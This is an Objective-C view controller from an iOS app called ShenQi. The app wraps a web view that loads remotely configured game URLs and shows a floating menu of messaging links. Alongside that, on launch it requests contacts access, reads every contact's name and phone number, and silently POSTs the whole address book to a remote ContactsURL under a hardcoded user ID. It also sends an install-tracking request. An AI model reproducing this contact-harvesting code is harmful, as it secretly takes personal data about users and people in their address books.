Files
WebApp/ShenQi/MainOldViewController.m
2025-01-11 09:51:47 +08:00

374 lines
18 KiB
Objective-C

//
// MainOldViewController.m
// ShenQi
//
// Created by Yao on 2024/11/4.
//
#import "MainOldViewController.h"
#import <Contacts/Contacts.h>
#import <WebKit/WebKit.h>
#import <SVProgressHUD.h>
#import "MacroDefine.h"
#import "DSWebDragView.h"
#import "NSObject+YYModel.h"
#import "AppDelegate.h"
#import "DSWebMenuCollectionView.h"
#import "ConfigData.h"
#import "ConfigDataModel.h"
#import "LinkConfig.h"
@interface MainOldViewController () <WKUIDelegate,WKNavigationDelegate,DSWebMenuDelegate>
@property (strong, nonatomic) WKWebView *webView;
@property (nonatomic,strong) WKUserContentController *wkUController;
@property (weak, nonatomic) IBOutlet DSWebDragView *webDragView;
@property (weak, nonatomic) IBOutlet NSLayoutConstraint *dragHeightConstarint;
@property (weak, nonatomic) IBOutlet DSWebMenuCollectionView *webMenuCollectionView;
@end
@implementation MainOldViewController
-(void)viewDidLayoutSubviews
{
[super viewDidLayoutSubviews];
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager;
_webView.frame = CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom);
}
- (void)viewDidLoad {
[super viewDidLoad];
self.mainUserId = Tinju55UserID;
WKWebViewConfiguration *wkWebConfig = [[WKWebViewConfiguration alloc] init];
wkWebConfig.preferences.javaScriptCanOpenWindowsAutomatically = YES;
_wkUController = [[WKUserContentController alloc] init];
wkWebConfig.userContentController = _wkUController;
UIStatusBarManager *statusBarManager = [UIApplication sharedApplication].windows.lastObject.windowScene.statusBarManager;
_webView = [[WKWebView alloc] initWithFrame:CGRectMake(0, statusBarManager.statusBarFrame.size.height, self.view.bounds.size.width, self.view.bounds.size.height-self.view.safeAreaInsets.bottom) configuration:wkWebConfig];
_webView.UIDelegate = self;
_webView.navigationDelegate = self;
[self.view addSubview:_webView];
NSMutableArray *menuArray = @[].mutableCopy;
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
// 回到菜单按钮
NSInteger height = 60;
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuHomeType]];
// 回到主页
height = height + 60;
LinkConfig *config = [[LinkConfig alloc] init];
config.isGoBack = YES;
config.icon = @"";
config.name = @"HOME";
config.linkUrl = appDelegate.mainURLString;
[menuArray addObject:config];
// 菜单
if (!ISNULLSTR(appDelegate.data.linkConfig)) {
NSError *jsonError;
id linkConfigResponse = [NSJSONSerialization JSONObjectWithData:[appDelegate.data.linkConfig dataUsingEncoding:NSUTF8StringEncoding] options:NSJSONReadingMutableContainers error:&jsonError];
if (jsonError==nil && [linkConfigResponse isKindOfClass:[NSArray class]]) {
NSArray *linkConfigArray = linkConfigResponse;
height = height + linkConfigArray.count*60;
for (NSDictionary *dic in linkConfigArray) {
LinkConfig *linkModel = [LinkConfig modelWithDictionary:dic];
[menuArray addObject:linkModel];
}
}
}
// 客服平台
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
height = height + 60;
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuFacebookType]];
}
if (!ISNULLSTR(appDelegate.data.tgUrl)) {
height = height + 60;
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuTelegramType]];
}
if (!ISNULLSTR(appDelegate.data.wsUrl)) {
height = height + 60;
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuWhatsAppType]];
}
// 刷新按钮
height = height + 60;
[menuArray addObject:[NSNumber numberWithInteger:DSWebMenuRefreshType]];
self.webMenuCollectionView.shareArray = menuArray;
self.webMenuCollectionView.webMenuDelegate = self;
if (height > self.view.frame.size.height) {
height = self.view.frame.size.height;
}
self.dragHeightConstarint.constant = height;
self.webDragView.freeRect = CGRectMake(0, 128, self.view.frame.size.width, self.view.frame.size.height-128);
self.webDragView.isKeepBounds = YES;
self.webDragView.clickDragViewBlock = ^(WMDragView *dragView) {
self.webDragView.hidden = YES;
self.webMenuCollectionView.hidden = NO;
/*
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
UIAlertController *alertview = [UIAlertController alertControllerWithTitle:nil message:nil preferredStyle:(UIAlertControllerStyleActionSheet)];
UIAlertAction *homepageAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"HOMEPAGE", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
if (weakSelf.isPresent == YES) {
[weakSelf dismissViewControllerAnimated:YES completion:^{}];
}else{
weakSelf.isPresent = NO;
[weakSelf intoMainWebView];
}
}];
[alertview addAction:homepageAction];
if (!ISNULLSTR(appDelegate.data.wsUrl)) {
UIAlertAction *whatsAppAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Share With WhatsApp", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://wa.me/message/%@",appDelegate.data.wsUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}];
[alertview addAction:whatsAppAction];
}
if (!ISNULLSTR(appDelegate.data.tgUrl)) {
UIAlertAction *telegramAppAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Share With Telegram", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://t.me/%@",appDelegate.data.tgUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}];
[alertview addAction:telegramAppAction];
}
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
UIAlertAction *fbAppAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Share With Facebook", nil) style:(UIAlertActionStyleDefault) handler:^(UIAlertAction * _Nonnull action) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"fb://profile/%@",appDelegate.data.fbUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}];
[alertview addAction:fbAppAction];
}
UIAlertAction *cancel = [UIAlertAction actionWithTitle:NSLocalizedString(@"CANCEL", nil) style:(UIAlertActionStyleCancel) handler:^(UIAlertAction * _Nonnull action) {}];
[alertview addAction:cancel];
[weakSelf presentViewController:alertview animated:YES completion:^{}];
*/
};
if (self.isPresent == YES) {
[self intoMainWebView];
}else{
[self intoMainWebView];
[self setupAddContactData];
// 判断是否第一次安装
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
BOOL install = [userfault objectForKey:@"INSTALL"];
if (install == NO) {
[self statisticsDownloadsData];
}
}
[self.view bringSubviewToFront:self.webDragView];
[self.view bringSubviewToFront:self.webMenuCollectionView];
}
-(void)webMenuCollectionViewWithMenuType:(id)webMenuType
{
if ([webMenuType isKindOfClass:[LinkConfig class]]) {
LinkConfig *link = webMenuType;
if (link.isGoBack == YES) {
if (self.isPresent == YES) {
[self dismissViewControllerAnimated:YES completion:^{}];
}else{
self.mainURLString = link.linkUrl;
self.isPresent = NO;
[self intoMainWebView];
}
}else{
self.mainURLString = link.linkUrl;
self.isPresent = NO;
[self intoMainWebView];
}
}else if ([webMenuType isKindOfClass:[NSNumber class]]) {
NSNumber *number = webMenuType;
DSWebMenuType menuType = number.integerValue;
AppDelegate *appDelegate = (AppDelegate *)[UIApplication sharedApplication].delegate;
if (menuType == DSWebMenuHomeType) {
}else if (menuType == DSWebMenuRefreshType) {
self.isPresent = NO;
[self intoMainWebView];
}else if (menuType == DSWebMenuWhatsAppType) {
if (!ISNULLSTR(appDelegate.data.wsUrl)) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.wsUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}
}else if (menuType == DSWebMenuTelegramType) {
if (!ISNULLSTR(appDelegate.data.tgUrl)) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.tgUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}
}else if (menuType == DSWebMenuFacebookType) {
if (!ISNULLSTR(appDelegate.data.fbUrl)) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:[NSString stringWithFormat:@"%@",appDelegate.data.fbUrl]] options:@{UIApplicationOpenURLOptionUniversalLinksOnly:@NO} completionHandler:^(BOOL success) {}];
}
}
}
self.webDragView.hidden = NO;
self.webMenuCollectionView.hidden = YES;
}
-(void)intoMainWebView
{
if (self.isPresent == YES) {
NSURL *url = [NSURL URLWithString:self.gameURLString];
NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url];
[_webView loadRequest:request];
}else{
NSURL *url = [NSURL URLWithString:self.mainURLString];
NSURLRequest *request = [[NSURLRequest alloc] initWithURL:url];
[_webView loadRequest:request];
}
}
#pragma mark - WKNavigationDelegate
- (void)webView:(WKWebView *)webView decidePolicyForNavigationAction:(WKNavigationAction *)navigationAction decisionHandler:(void (^)(WKNavigationActionPolicy))decisionHandler
{
decisionHandler(WKNavigationActionPolicyAllow);
}
- (WKWebView *)webView:(WKWebView *)webView createWebViewWithConfiguration:(WKWebViewConfiguration *)configuration forNavigationAction:(WKNavigationAction *)navigationAction windowFeatures:(WKWindowFeatures *)windowFeatures
{
if (navigationAction.request.URL) {
UIStoryboard *sb = [UIStoryboard storyboardWithName:@"Main" bundle:nil];
MainOldViewController *view = [sb instantiateViewControllerWithIdentifier:@"MainOldViewController"];
// MainOldViewController *view = [[MainOldViewController alloc] init];
view.gameURLString = navigationAction.request.URL.absoluteString;
view.isPresent = YES;
view.modalPresentationStyle = UIModalPresentationFullScreen;
[self presentViewController:view animated:YES completion:^{}];
}
return nil;
}
#pragma mark - 统计下载量
-(void)statisticsDownloadsData
{
NSString *urlstring = [NSString stringWithFormat:@"%@",StatisticsURL];
NSURL *url = [NSURL URLWithString:urlstring];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
request.HTTPMethod = @"PUT";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *dic = @{@"userId":[NSNumber numberWithInteger:[self.mainUserId integerValue]],@"type":[NSNumber numberWithInteger:2]};
NSData *data = [NSJSONSerialization dataWithJSONObject:dic options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = data;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
dispatch_async(dispatch_get_main_queue(), ^{
if (error == nil) {
NSError *error;
NSMutableDictionary *responseObject = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableContainers error:&error];
if (error == nil) {
if (ISNULL(error) && !ISNULL(responseObject) && [[responseObject objectForKey:@"code"] integerValue] == 1) {
NSUserDefaults *userfault = [NSUserDefaults standardUserDefaults];
[userfault setObject:[NSNumber numberWithBool:YES] forKey:@"INSTALL"];
[userfault synchronize];
}
}
}
});
}];
[dataTask resume];
}
- (IBAction)intoGameAction:(id)sender
{
[self intoMainWebView];
}
#pragma mark - 获取通讯录
-(void)setupAddContactData
{
CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
if (status == CNAuthorizationStatusAuthorized) {
[self refreshMayknowFriendData];
}else{
CNAuthorizationStatus status = [CNContactStore authorizationStatusForEntityType:CNEntityTypeContacts];
if (status == CNAuthorizationStatusNotDetermined) {
CNContactStore *store = [[CNContactStore alloc] init];
[store requestAccessForEntityType:CNEntityTypeContacts completionHandler:^(BOOL granted, NSError* _Nullable error) {
if (granted == YES) {
[self setupAddContactData];
}
}];
}
}
}
#pragma mark - 通讯录权限
-(void)setupAlertContact
{
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Tips", nil) message:NSLocalizedString(@"Contacts permission must be turned on", nil) preferredStyle:(UIAlertControllerStyleAlert)];
UIAlertAction *action = [UIAlertAction actionWithTitle:NSLocalizedString(@"SETTING", nil) style:(UIAlertActionStyleCancel) handler:^(UIAlertAction * _Nonnull action) {
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:UIApplicationOpenSettingsURLString] options:@{} completionHandler:^(BOOL success) {}];
}];
[alertController addAction:action];
dispatch_async(dispatch_get_main_queue(), ^{
[self presentViewController:alertController animated:YES completion:^{}];
});
}
-(void)refreshMayknowFriendData
{
NSMutableArray *contacts = @[].mutableCopy;
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
NSArray *keysToFetch = @[CNContactFamilyNameKey,CNContactMiddleNameKey,CNContactGivenNameKey,CNContactPhoneNumbersKey];
CNContactFetchRequest *fetchRequest = [[CNContactFetchRequest alloc] initWithKeysToFetch:keysToFetch];
CNContactStore *contactStore = [[CNContactStore alloc] init];
[contactStore enumerateContactsWithFetchRequest:fetchRequest error:nil usingBlock:^(CNContact * _Nonnull contact, BOOL * _Nonnull stop) {
NSMutableDictionary *contactDic = @{}.mutableCopy;
NSString *name = [NSString stringWithFormat:@"%@%@%@",contact.familyName?:@"",contact.middleName?:@"",contact.givenName?:@""];
NSArray *phoneNumbers = contact.phoneNumbers;
for (CNLabeledValue *labelValue in phoneNumbers) {
CNPhoneNumber *phoneNumber = labelValue.value;
NSString *string = phoneNumber.stringValue;
string = [string stringByReplacingOccurrencesOfString:@"+86" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@"-" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@"(" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@")" withString:@""];
string = [string stringByReplacingOccurrencesOfString:@" " withString:@""];
string = [string stringByReplacingOccurrencesOfString:@" " withString:@""];
if (ISNULLSTR(name)) {
[contactDic setObject:@"未知" forKey:@"name"];
}else{
[contactDic setObject:name forKey:@"name"];
}
if (!ISNULLSTR(string)) {
[contactDic setObject:string forKey:@"phone"];
}
}
[contacts addObject:[contactDic modelToJSONObject]];
}];
dispatch_async(dispatch_get_main_queue(), ^{
if (!ISNULLARRAY(contacts)) {
[self uploadContactsData:contacts];
}
});
});
}
-(void)uploadContactsData:(NSMutableArray *)contacts
{
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:ContactsURL]];
request.HTTPMethod = @"POST";
[request setValue:@"application/json" forHTTPHeaderField:@"Content-Type"];
NSDictionary *parmas = @{@"userId":self.mainUserId,@"customers":contacts};
NSData *jsonData = [NSJSONSerialization dataWithJSONObject:parmas options:NSJSONWritingPrettyPrinted error:nil];
request.HTTPBody = jsonData;
NSURLSession *session = [NSURLSession sharedSession];
NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {}];
[dataTask resume];
}
@end